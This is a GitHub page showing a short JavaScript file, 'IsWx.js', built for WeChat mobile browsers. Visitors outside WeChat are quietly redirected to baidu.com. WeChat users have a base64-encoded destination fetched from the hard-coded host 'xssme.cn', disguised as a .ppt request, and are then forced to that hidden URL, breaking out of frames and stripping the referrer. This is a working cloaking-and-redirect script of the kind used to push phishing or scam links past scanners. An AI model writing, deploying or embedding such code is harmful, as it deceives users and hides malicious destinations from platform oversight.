-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathIsWx.js
More file actions
71 lines (66 loc) · 1.84 KB
/
IsWx.js
File metadata and controls
71 lines (66 loc) · 1.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
var id=24; var url='https://xssme.cn';
function GetQueryString(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
function isWx() {
var platform = navigator.platform;
var win = platform.indexOf('Win') === 0;
var mac = platform.indexOf('Mac') === 0;
var ua = /micromessenger/.test(navigator.userAgent.toLowerCase())
if (ua && !win && !mac) {
return true;
} else {
return false;
}
}
function checkVersion() {
var userAgent = navigator.userAgent.toLowerCase();
var key = /micromessenger/;
let res = false;
if (key.test(userAgent)) {
var index = userAgent.search(key);
let version = '';
for (var i = index + 15; i < userAgent.length; i++) {
var item = userAgent[i];
if (/^\d{1,}$/.test(item) || item === '.') {
version += item;
} else {
break;
}
}
version = parseFloat(version);
if (version >= 7.0){
res = true;
}
}
return res;
}
function openLink(url) {
if(window !== top) {
top.location = url;
return;
}
var label = document.createElement('a');
label.setAttribute('rel', 'noreferrer');
label.setAttribute('href', url);
try {
document.body.appendChild(label);
} catch (e) {
location = url;
}
label.click();
}
function init() {
var queryUrl = url;
var rmd = Math.random().toString(36).substr(2);
var entranceUrl = `${queryUrl}/XT-${id}-${rmd}.ppt?t=${Date.now()}`;
fetch(entranceUrl).then(response => response.text()).then(res => openLink(atob(res)));
}
if (!isWx() || !checkVersion()) {
openLink('http://www.baidu.com');
} else {
init();
}